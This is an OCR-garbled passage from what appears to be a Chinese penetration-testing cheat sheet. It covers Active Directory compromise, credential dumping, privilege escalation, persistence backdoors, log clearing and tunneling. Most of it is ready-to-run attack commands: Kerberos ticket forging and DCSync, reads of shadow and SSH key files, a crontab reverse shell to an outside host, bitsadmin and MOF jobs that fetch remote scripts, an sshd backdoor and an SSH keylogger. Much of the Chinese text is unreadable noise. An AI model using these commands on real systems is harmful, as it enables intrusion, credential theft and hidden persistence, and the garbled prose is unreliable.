object {Get-AdmPwdPassword -ComputerName $_}1}}

10.privexchangeiRild

python privexchange.py -ah <attacker_host_or_ip> <exchange_host> -u <user> -d
<domain> -p <password>

ntimrelayx.py -t ldap://<dc_fqdn>--escalate-user <user>

ExchangefYFIF

¢ Exchange2domain
e CVE-2018-8581

e CVE-2019-1040

e CVE-2020-0688

e NtimRelayToEWS
e ewsManage

e CVE-2021-26855

e CVE-2021-28482

11.1PC

net use \\ip\ipc$ "password" /user:"administrator"
net use \\ip\c$ "password" /user:"administrator"


af://n411
af://n413
af://n415
https://github.com/Ridter/Exchange2domain
https://github.com/WyAtu/CVE-2018-8581/
https://github.com/Ridter/CVE-2019-1040
https://github.com/Ridter/CVE-2020-0688
https://github.com/Arno0x/NtlmRelayToEWS
https://github.com/3gstudent/ewsManage
https://github.com/h4x0r-dz/CVE-2021-26855
https://gist.github.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda
af://n435
af://n439

12.HAthiEte

1. [MIWSUSHRSS #% B0 2 N % S A8 7 BE T wsuspendu.psl # FHELET WSUS FEHT KRG
2.MSSQL Trusted Links use exploit/windows/mssql/mssql_linkcrawler
3.GPO Delegation

4.ADCS

10. 5 R4ES
ST IR

dump ntds.dit 3214

crackmapexec smb 127.0.0.1 -u <user> -p <password> -d <domain> --ntds
secretsdump.py '<domain>/<users>:<pass>'@<ip>

ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q

secretsdump.py -ntds ntds_file.dit -system SYSTEM_FILE -hashes Tmhash:nthash
LOCAL -outputfile ntlm-extract

windows/gather/credentials/domain_hashdump

=)
net group "domain admins" myuser /add /domain
Golden ticket (¥E4ZHE)
Silver Ticket (F4RZEHE)
DSRM J5[]:
PowerShell New-ItemProperty “HKLM:\System\CurrentControlSet\Control\Lsa\” -Name

“DsrmAdminLogonBehavior” -value 2 -PropertyType DWORD

Skeleton Key:

non non

mimikatz "privilege::debug misc::skeleton exit"
H X SSP DLL:
mimikatz "privilege::debug" "misc::memssp" "exit"

C:\Windows\System32\kiwissp.log


af://n439
af://n444
af://n445
af://n449
af://n452

IS EXFR
FRINE R - SID HistoryhRESiERE £z

Get-NetGroup -Domain <domain> -GroupName "Enterprise Admins" -FullData|select
objectsid

mimikatz Tsadump::trust

kerberos::golden /user:Administrator /krbtgt:<HASH_KRBTGT> /domain:<domain>
/sid:<user_sid> /sids:<RootDomainSID-519> /ptt

FIRRI (ST % RIREN BRRAIRIR - (SIXRHE

"Tsadump: :trust /patch"
"Tsadump::1sa /patch"

"kerberos::golden /user:Administrator /domain:<domain> /sid:
<domain_SID> /rcé4:<trust_key> /service:krbtgt /target:<target_domain> /ticket:
<golden_ticket_path>"

WEHEEH

FIF ptintbugsipetipotamii i H &M FIDCESIEZEFIAME — G BLRZIRFNL,  FIR R IE D KK
TGT, SAERITTEEH Tdesync®

o) RIS A RIS

https://adsecurity.org/?p=1929 DSIkEEZIB4ER DSRMZRBEL

Windows Server 2008 EEEZEEKBO61320%MN ] A FFDSRMZRE[EE, Windows Server 20034
T EDSRMZRE[EE, KB961320:https://support.microsoft.com/en-us/help/961320/a-feature-

is-available-for-windows-server-2008-that-lets-you-synchroni, a] &% :
A &

DCshadow
Security Support Provider

[BIERRIRRESSPRLE— N DLL, FISRSCHMIB{AIAIE

privilege: :debug
misc: :memssp

XEMRAREESS c: /windows/system32 BIERIFTERAIS Hkiwissp.log


af://n452
af://n453
af://n455
af://n458
af://n461
https://adsecurity.org/?p=1929
https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni
http://drops.xmd5.com/static/drops/tips-9297.html
https://www.dcshadow.com/
af://n466

SID History

SIDFA SRR B — MKFRGE A Bt e E R S — MK

mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator"

AdminSDHolder &SDProp

FIFAdmMInSDHolder &SDProp (EEHT) IREUSETEAUR
Dcsync/gl]

[E3af Al SR T DesyncA B

Powerview.psl
Add-DomainObjectAcl -TargetIdentity "DC=vulntarget,DC=com” -PrincipalIdentity
testl -Rights DCSync -Verbose

HEERT test 1 IHKFAINES EHATDcsyncFIFEIR(E

mimikatz "lsadump::dcsync /domain:vulntarget.com /all /csv"

HERRE

https://adsecurity.org/?p=2716 &

Hook PasswordChangeNotify

http://www.vuln.cn/6812

KerberoastingfgI]

815 -Kerberoasting

AdminSDHolder

Backdooring AdminSDHolder for Persistence

Delegation

Unconstrained Domain Persistence

WEBfRiE: pyForgeCert

118U

windows
SRR E ST


https://adsecurity.org/?p=1772
af://n470
https://adsecurity.org/?p=1906
af://n473
af://n475
af://n481
https://adsecurity.org/?p=2716
https://www.anquanke.com/post/id/86531
af://n483
http://www.vuln.cn/6812
af://n485
https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting
af://n487
https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence
af://n489
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#unconstrained-domain-persistence
https://github.com/Ridter/pyForgeCert
af://n495
af://n496

C:\boot.ini [/ BE RGO
C:\Windows\System32\inetsrv\MetaBase.xml //IISH &
C:\windows\repair\sam [ /T RGWIIR HE [ Zh

C:\Program Files\mysql\my.ini //Mysqliid &

C:\Program Files\mysql\data\mysql\user.MYD //Mysqgl root
C:\Windows\php.ini //phpfL& (5 H

C:\windows\my.ini //Mysqliid &5 5

C:\Windows\win.ini //Windows RSt — N AR R L E

Linux

BURECE
#FWE R {Edocker & #s M
/proc/1/cgroup
# RGHA

cat /etc/issue

# WAZRA
cat /proc/version

# B
cat /etc/passwd
cat /etc/shadow

# AR
cat /etc/profile

# RGN GES)
1s -1ah/sbin

# RN (4
la -lah /usr/bin

# JHHLE R

cat /etc/crontab

# history

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

# WL E

cat /etc/resolv.conf

cat /etc/networks

cat /etc/network/interfaces
cat /etc/sysconfig/network
cat /etc/host.conf

cat /etc/hosts

cat /etc/dhcpd.conf

# Servicefi &
cat /etc/apache2/apache2.conf


af://n499

cat
cat
cat
cat
cat
cat
cat
cat
cat
cat
cat

/etc/httpd/conf/httpd.conf
/etc/httpd/conf/httpd2.conf
/var/apache2/config.inc
/usr/Tocal/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/etc/my.cnf

/etc/mysql/my.cnf
/var/1ib/mysql/mysql/user.mMYD
/etc/mongod.conf
/usr/local/redis/redis.conf
/etc/redis/redis.conf

# ftp

cat

/etc/proftpd.conf

# mail

cat
cat
cat
cat
cat
cat
cat
cat
cat
cat

/var/mail/root

/var/spool/mail/root

~/.fetchmailrc

/etc/procmailrc

~/.procmailrc

/etc/exim/exim.cf

/etc/postfix/main.cf
/etc/mail/sendmail.mc
/usr/share/sendmail/cf/cf/Tinux.smtp.mc
/etc/mail/sendmail.cf

# ssh

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat
cat
cat
cat
cat
cat
cat
cat

/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_rsa_key.pub
/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_key.pub
/etc/ssh/ssh_host_key

# log
1s /var/log

cat
cat
cat
cat
cat
cat
cat
cat
cat
cat

/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/log/apache2/access_1log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log



cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.1log

cat /var/log/faillog

cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/1lighttpd.access.log
cat /var/log/lighttpd/1lighttpd.error.log
cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/Tog/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

# proc fuzz
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version

12.80RIEH

Windows

bypass UAC
BHERAE
o {FHIFileOperation COM#ZO
o {FRWuUsa.exefJextractiZli
o TFEFEANSHELLCODE ZI{E{EiH7FE
o DLLEDRF, #HFRFRIDLLIM

e eventvwr.exe and registry hijacking


af://n504
af://n505
af://n506
af://n507

e sdclt.exe

e SilentCleanup

e wscript.exe

e cmstp.exe

o BENEZE, HIFENIR Nt

o BEGEMZRHKCU\Software\Classes\CLSID, #iFEitRER
o EIERTUZUAC

e Bypass-UAC
e Yamabiko

12
o windowstZimiRIEIN

S Windows-Exploit-Suggester, WinSystemHelper,wesng

FJFAZ&:windows-kernel-exploits, BeRoot
o fRSBZIEMN
HUREIRSS, ftpIRSS

e WINDOWSHEIRRFEE

o ZFRRBHERNREERE

o ALRLHNIMFESIREE

o RLeMSUSE/ USSR PRECE

o ITRIES

o (FEAFLANT AUTHORITY\SYSTEMBBRZZEMsi
o IEINEHIA

PowerUP,ElevateKit

Linux
Pz R
linux-kernel-exploits

itRIES



af://n535
https://github.com/hfiref0x/UACME
https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC
https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC/Yamabiko
af://n545
https://github.com/GDSSecurity/Windows-Exploit-Suggester
https://github.com/brianwrf/WinSystemHelper
https://github.com/bitsadmin/wesng
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/AlessandroZ/BeRoot.git
https://github.com/HarmJ0y/PowerUp/blob/master/PowerUp.ps1
https://github.com/rsmudge/ElevateKit
af://n576
af://n577
https://github.com/SecWiki/linux-kernel-exploits
af://n579

crontab -1

1s -alh /var/spool/cron
1s -al /etc/ | grep cron
1s -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root

SUID

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec 1s -1db {} \;

SHEa]FIFbin: https://gtfobins.github.io/

MRESE

cd /tmp

echo “/bin/sh” > ps
chmod 777 ps

echo $PATH

export PATH=/tmp:$PATH
cd /home/raj/script
./shell

whoami

LinuxIMSZSE181Y - 4T X)
ERESHERPPRECERIRE

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

AR/ S FRECE

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history


af://n581
https://gtfobins.github.io/
af://n584
https://xz.aliyun.com/t/2767
af://n587
af://n589

HFERBAXARE, =6

grep -i user [filename]

grep -i pass [filename]

grep -C 5 "password" [filename]

find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

13.5 R4S

-+
i3
Windows

1. ZEicRIR

WinlogonHack WinlogonHack 2—5XFARHEURIE3389BREHMHITE, £ WinlogonHack ZEiH
—/ Gina A FERAFREE Windows 2000 FHIZERS, WinlogonHack F=EFTF& BX Windows XP LA
K Windows 2003 Server, EEICREE EERICRIIBMANZICRANER, RiCREER—)
RS, LEanisi(EfE, WEB MIUERESE, XFEBALISEIEERRSER. NTPass SRENEERO
<, —B2 A gina ARE (BEELAEE FLRET pcanywhere &ift, 2SS FNIHMREHIHE, &
B4 P SCHFRERSEEN <L,  Linux T~ openssh [517] EfimiFIzTHIsshdiRSS, FFICRAFPIER

=,
2, FRE(EPayload(iE

WMI : 724

$staticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$staticClass.Name = 'win32_cCommand'

$staticClass.Put()

$StaticClass.Properties.Add('Command' , $Payload)

$staticclass.Put()

RN
$Payload=([wmiClass] 'win32_cCommand').Properties['Command'].value

BEHFERMIPEX R A HFhashrIFIEERE, MIPEX4fEiEtPayload, BRI AFIMBIZPESI4HT
78R 1SFRADS ..

type putty.exe > ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe
BRCOMIZ{4

type putty.exe > \\.\C:\test\ads\COMl:putty.exe
wmic process call create \\.\C:\test\ads\COM1l:putty.exe

HERER

type putty.exe >C:\:putty.exe
wmic process call create C:\:putty.exe


af://n591
af://n594
af://n595
af://n596
af://n598

3. Run/RunOnce Keys

FF%

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\windows\Currentversion\RunOnce

B

pal

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Currentversion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\Currentversion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\windows\Currentversion\Policies\Explorer\R
un

4, BootExecute Key

HFsmss.exefEWindowsFREZFNNEZRIEE, RS EREE FRAKINESIMNEERT, BINE
MEREEA:

HKLM\SYSTEM\CurrentControlSet\Control\hivelist
HKEY_LOCAL_MACHINE\SYSTEM\Controlset002\Control\Session Manager

5. Userinit Key

WinLogoni#F2NEAYlogin scripts, BNEE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\wWinlogon
6, Startup Keys

HKEY_CURRENT_USER\Software\Microsoft\windows\Currentversion\Explorer\User Shell
Folders
HKEY_CURRENT_USER\Software\Microsoft\windows\Currentversion\Explorer\Shell
Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Currentversion\Explorer\Shell
Folders

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\Currentversion\Explorer\User Shell
Folders

7. Services

BIEEIRSS
sc create [ServerName] binPath= BinaryPathName

8. Browser Helper Objects

AR ERInternet Explorer/ ST INEAYDLLIESR

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\wWindows\Currentversion\Explorer\Browser
Helper Objects


af://n609
af://n614
af://n617
af://n620
af://n622
af://n625

9, Applnit_DLLs

N User32.dIInEAIDLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows
NT\CurrentVersion\windows\AppInit_DLLS

10, 3CHREX

HKEY_LOCAL_MACHINE\Software\Classes
HKEY_CLASSES_ROOT

11. bitsadmin

bitsadmin /create backdoor

bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s
/i:https://host.com/calc.sct scrobj.d11"

bitsadmin /Resume backdoor

12, mof

pragma namespace("\\\\.\\root\\subscription™)
instance of __EventFilter as $EventFilter

{

EventNamespace = "Root\\Cimv2";

Name = "filtPl1l";

Query = "Select * From __InstanceModificationEvent "

non

"Where TargetInstance Isa \"wWin32_LocalTime\
"And TargetInstance.Second = 1";
QueryLanguage = "wQL";

e

instance of ActiveScriptEventConsumer as $Consumer
{

Name = "consPl";

ScriptingEngine = "JScript";

ScriptText = "GetObject(\"script:https://host.com/test\")";
};

instance of __FilterToConsumerBinding

{
consumer = $Consumer;
Filter = $EventFilter;

18

mofcomp test.mof

13. wmi

EfRe0FHIT—IRnotepad.exe


af://n628
af://n631
http://www.liuhaihua.cn/archives/357579.html
af://n633
https://evi1cg.me/archives/Powershell_MOF_Backdoor.html
af://n635
https://3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe
af://n639

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE
Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="wQL",
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance
ISA 'win32_pPerfFormattedbata_PerfoS_System'"

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE
Name="BotConsumer23",

ExecutablePath="C:\windows\System32\notepad.exe",CommandLineTemplate="C:\Windows
\System32\notepad.exe"

wmic /NAMESPACE:"\\root\subscription" PATH _FilterToConsumerBinding CREATE
Filter="__EventFilter.Name=\"BotFilter82\"",
consumer="CcommandLineEventConsumer.Name=\"BotConsumer?23\

14, Userland Persistence With Scheduled Tasks

HHATRIES UserTask, TERGFSamAdinEkdll

function Invoke-ScheduledTaskComHandleruUserTask

{

[cmd1etBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
Param (

[Parameter(Mandatory = $True)]

[validateNotNullorEmpty()]

[String]

$Command,

[switch]

$Force

)

$scheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-
ac04-427593b1d060}\InprocServer32"”

if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name
"(default)' -ErrorAction SilentlyContinue) -eq $null)){

New-Item $ScheduledTaskCommandPath -Force |

New-ItemProperty -Name '(Default)' -value $Command -PropertyType string -Force |
out-Null

telse{

Write-Verbose "Key already exists, consider using -Force"

exit

}

if (Test-Path $ScheduledTaskCommandPath) {

Write-Verbose "Created registry entries to hijack the UserTask"
telse{

Write-warning "Failed to create registry key, exiting"

exit

}

}

Invoke-ScheduledTaskComHandleruserTask -Command "C:\test\testmsg.d11" -Verbose


https://3gstudent.github.io/Userland-registry-hijacking
af://n642

15. Netsh

netsh add helper c:\test\netshtest.dl]

B fbA . ExiERnetsh

dlI¥R5:https://github.com/outflanknl/NetshHelperBeacon

16, Shim

BEHAIN: InjectDIl RedirectShortcut RedirectEXE
17. DLLENS

BidRattler BaiasHiE, WNEEFETAIESFFIRIERE 8. Procmon Bl EREIE,
EMERJISSEFEFHITIRIEEPIT, ERAheadLibBi&EmRdIIENIEF BIRIEASHIEFHIIT

THE: https://github.com/sensepost/rattler

TH: https://github.com/Yonsm/AheadLlib

dIEIFFARZ

18, DoubleAgent

mEBEENX Verifier provider DLL j@idApplication Verifieri#{7&a i \Z| Bim#igiTpayload 24
BimHiEREs), WSiTpayload, BYEF—1NEBIIMNGR, POC : https:/github.com/Cybellum/Dou
bleAgent

19. waitfor.exe

AXFEED, BanEEmEE, FaHiEE R Awaitfor.exe POC : https:/github.com/3gstudent/
Waitfor-Persistence

20, AppDomainManager

£33.NetiZFRr, BidI&AppDomainManagergeiBiiis. NetiZEFFAISoNTFE. WNRIIFT RFE N Net
2R apowershell.exefEaMIiE, MEFRINpayload, FASSEII—FMREIAYEI IRt AH

21, Office

SO celfU s MU AL BT dIEhi% AEOffi el TR RET ARSI ) AIEVSTOSERofice
1] Officei0ZxIn

Word WLL

Excel XLL

Excel VBA add-ins

e PowerPoint VBA add-ins

21 ;. https://3gstudent.github.io/Use-Office-to-maintain-persistence

£%2 . https://3gstudent.github.io/Office-Persistence-on-x64-operating-system

TESERMRNE], FaemHiEE NetiéF POC:https:/github.com/3gstudent/CLR-Injection



https://3gstudent.github.io/Netsh-persistence
af://n645
https://github.com/outflanknl/NetshHelperBeacon
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Application-Compatibility-Shims
af://n650
https://3gstudent.github.io/DLL%E5%8A%AB%E6%8C%81%E6%BC%8F%E6%B4%9E%E8%87%AA%E5%8A%A8%E5%8C%96%E8%AF%86%E5%88%AB%E5%B7%A5%E5%85%B7Rattler%E6%B5%8B%E8%AF%95
af://n652
https://github.com/sensepost/rattler
https://github.com/Yonsm/AheadLib
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Application-Verifier(DoubleAgent%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D)
af://n658
https://github.com/Cybellum/DoubleAgent
https://3gstudent.github.io/Use-Waitfor.exe-to-maintain-persistence
af://n660
https://github.com/3gstudent/Waitfor-Persistence
https://3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence
af://n662
af://n664
https://3gstudent.github.io/%E5%88%A9%E7%94%A8BDF%E5%90%91DLL%E6%96%87%E4%BB%B6%E6%A4%8D%E5%85%A5%E5%90%8E%E9%97%A8
https://3gstudent.github.io/%E5%88%A9%E7%94%A8VSTO%E5%AE%9E%E7%8E%B0%E7%9A%84office%E5%90%8E%E9%97%A8
https://github.com/3gstudent/Office-Persistence
https://3gstudent.github.io/Use-Office-to-maintain-persistence
https://3gstudent.github.io/Office-Persistence-on-x64-operating-system
https://3gstudent.github.io/Use-CLR-to-maintain-persistence
af://n679
https://github.com/3gstudent/CLR-Injection

23. msdtc

FMAMSDTCRRSS INEkdll, SEMBRERD, FEdAutorunsiSEaIIATEN FIFA: @
%windir%\system32\B R INdIIFHE#RRE oci.dll

24, Hijack CAccPropServicesClass and MMDeviceEnumerato

FRACOMEBH, FHFEEBRS, FHEEERINIR BIIESGEMERSEN POC: https://github.com/3
gstudent/COM-Object-hijacking

25, Hijack explorer.exe

COMAHHDF:, FREERRR, F1HFEEERNR BIHESCEMZRSTN

HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabecl}
HKCU\Software\Classes\CLSID{fbeb8a05-beece-4442-804e-409d6c4515e9}
HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}

26, Windows FAX DLL Injection

EBIEDLLENE, #hiFExplorer.exeXd fxsst.d11 BYANZL Explorer.exefEEaIRTSNNE;
c:\windows\System32\fxsst.d11 (RBECAFE, BFEERS)Epayload.dIRFE
c:\Windows\fxsst.d11 , BEGESCINAIIENE, HhiFExplorer.exeXy fxsst.d11 AYINE

27, 159KEMREE

EFMREMINEIEEFRERIGIMEEE, BPEEBER ML AEB(ERWIN32 APl), (BERGFEEBH
{T({ERANative API),

28, REXBNEI]

EIAIER I ES BRI E POC : https://github.com/Ridter/Pentest/blob/master/powershell/
MyShell/Backdoor/LNK backdoor.ps1

29, Logon Scripts

New-ItemProperty "HKCU:\Environment\" UserInitMprLogonScript -value
"c:\test\1ll.bat" -propertyType string | out-Null

30. Password Filter DLL

31. FIFEBHOSCIRIE LT SEEhiS

Linux

crontab

BF60 58— XshellZ5dns.wuyun.orghy53ix M

#!bash

(crontab -1;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec
0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for

“whoami "%100c\n") |crontab -


https://3gstudent.github.io/Use-msdtc-to-maintain-persistence
af://n681
https://3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-CAccPropServicesClass-and-MMDeviceEnumerator
af://n683
https://github.com/3gstudent/COM-Object-hijacking
https://3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-explorer.exe
af://n685
af://n688
af://n690
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%9A%90%E8%97%8F-%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9A%84%E5%88%9B%E5%BB%BA
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%9A%90%E8%97%8F-%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9A%84%E6%9B%B4%E5%A4%9A%E6%B5%8B%E8%AF%95
af://n694
https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1
https://3gstudent.github.io/Use-Logon-Scripts-to-maintain-persistence
af://n696
https://3gstudent.github.io/Password-Filter-DLL%E5%9C%A8%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84%E5%BA%94%E7%94%A8
af://n698
https://3gstudent.github.io/%E5%88%A9%E7%94%A8BHO%E5%AE%9E%E7%8E%B0IE%E6%B5%8F%E8%A7%88%E5%99%A8%E5%8A%AB%E6%8C%81
af://n699
af://n700
af://n701

EhEiEsshd

#!bash
In -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;

§4EZ: ssh root@192.168.206.142 -p 2333

SSH Server wrapper

#!bash

cd /usr/sbin

mv sshd ../bin

echo "#!/usr/bin/perl' >sshd

echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /A..4A/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,"' >>sshd
chmod u+x sshd

//AHE B AT

/etc/init.d/sshd restart

socat STDIO TCP4:192.168.206.142:22,sourceport=13377

SSH keylogger
vimZgiFAF Y. bashrc STt REFHIN

#!bash

alias ssh="'strace -o /tmp/sshpwd- date '+%d%h%m%s' .log -e read,write,connect -
s2048 ssh'

source .bashrc

Cymothoa_i#i#Eif Abackdoor

./cymothoa -p 2270 -s 1 -y 7777
nc -vv ip 7777

rootkit

e openssh rootkit
o Kbeast rootkit
e Mafix + Suterusu rootkit

Tools

e Vegile
e backdoor

14.RTRIE



af://n704
af://n707
af://n709
af://n713
af://n715
http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz
af://n723
https://github.com/Screetsec/Vegile
https://github.com/icco/backdoor
af://n731

WindowsBHz=EiS
RENAED SR

wevtutil el >1.txt
IRENBENHERFINRIHER: eg.

wevtutil gli "windows powershell"

creationTime: 2016-11-28T06:01:37.986Z
TastAccessTime: 2016-11-28T06:01:37.986z
lastwriteTime: 2017-08-08T08:01:20.979Z
filesize: 1118208

attributes: 32

numberoflLogRecords: 1228
oldestRecordNumber: 1

EEIEEHTNERRNS:
wevtutil qe /f:text "windows powershell"
bR HERBINFRBER

wevtutil c1 "windows powershell"

EiFWindows H5iCRIEE

MAETH

e |nvoke-PhantOm
e Windwos-EventLog-Bypass

Metasploit

run clearlogs
clearev

3389EhicRialF

@echo off

@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"
/va /f

@del "%USERPROFILE%\My Documents\Default.rdp" /a

@exit

15. MRS


https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87
af://n732
af://n743
https://github.com/hlldz/Invoke-Phant0m
https://github.com/3gstudent/Windwos-EventLog-Bypass
af://n750
af://n752
af://n755

XS ERRESRETE
A---b---C
AFIRC, BRI, RBAZIIC, IHLER ISR REA AR T ]

BN SAMNI 88884 &R, JHA: 88881V A FIC: 80 L2, FFHLA R LA, MIBZE K HALEE
RIS . HABZ B APk, ARVFAEB, (HEFLVFBIEA

0x01 RS REES
HR—: RRPGXIER S OSSR OIS
B85 - MFHXEEOREREETRORS, RONTEROHRIEERE, 0: Rshell

82 ARBAAER SRR EIGIRIMIRISERDO (40: 80, 443)

B TR /MR AR LAIGIE, BE—{ARRMEshel RANT B irim DS E
imORDAT; B —NRmO%A, BRMNENAYFRELIRSS AR O A SN B AL ERIBKEE ST
FrEmA L, BEEERINGEN LR OHRIRRRSS

Fix—: RifshellAlSEiHR—hrvnEE, (XHIENBIRROBGIAAEITAISERCIBNA
FiEZ: wmO%E

BiE=: SSHEENSIROE R A proxychains KVIEFEREH—EEEAN
1ERREN LT

ssh -f -N -R 2222:127.0.0.1:22 -p 80 root@192.168.0.230
NS EALISSHIA4)

2 FEFMRENL EHAT

ssh -f -N -D 127.0.0.1:8080 -p 2222 avfisher@l27.0.0.1
Cias N B SSHIT4)

3.1E5MEH BB proxychainsi®&socks MR

$ vim /etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8080

4. fFBproxychainsfXIBFFEREFH NI

proxychains nc -nv 10.0.2.5 3306

5= TCPAER-HTTP{LIE
—.reGeorg

reGeorglRhR: https://github.com/sensepost/reGeorg
reGeorg{&iIhy: https://github.com/L-codes/Neo-reGeorg

BigERFIWebshellZhttp://aaa.com/shell.jsp, LAJRkRreGeorg/fl,


af://n760
af://n761
af://n764
af://n777
https://github.com/sensepost/reGeorg
https://github.com/L-codes/Neo-reGeorg
http://aaa.com/shell.jsp%EF%BC%8C%E4%BB%A5%E5%8E%9F%E7%89%88reGeorg%E4%B8%BA%E4%BE%8B%E3%80%82

FfEreGeorgdfy tunnel.jsp, RIZ=ZAIURL/ghttp://aaa.com/tunnel.jsp

EAPCGEITU TGRS

python reGeorgSocksProxy.py -p 8080 -h 0.0.0.0 -u http://aaa.com/tunnel.jsp

LR, AP CRIB080F/E—MSocksimH, {ER3ProxifierBlalHTLE, FEEBIZ, HFXD
httpfUEEBRELLERAESS, BIRIEE A BinhostEMAMNNIN, SRFAZRENEHRE.

—.pystinger

15R1-stinger_client

Rystinger

BKEED:

1. & proxy.jspE|B¥rWebBg5388, _E{&Estinger_server/stinger_server.exeZE|BIrE5.

2 {#HWebshelljZzfistinger_server

Linux:
chmod +x /tmp/stinger_server
nohup /tmp/stinger_server>/dev/null nohup.out &

windows: start D:/XXX/stinger_server.exe

3.VPSIRSE RSN

./stinger_client -w http://aaa.com/proxy.jsp -1 0.0.0.0 -p 60000

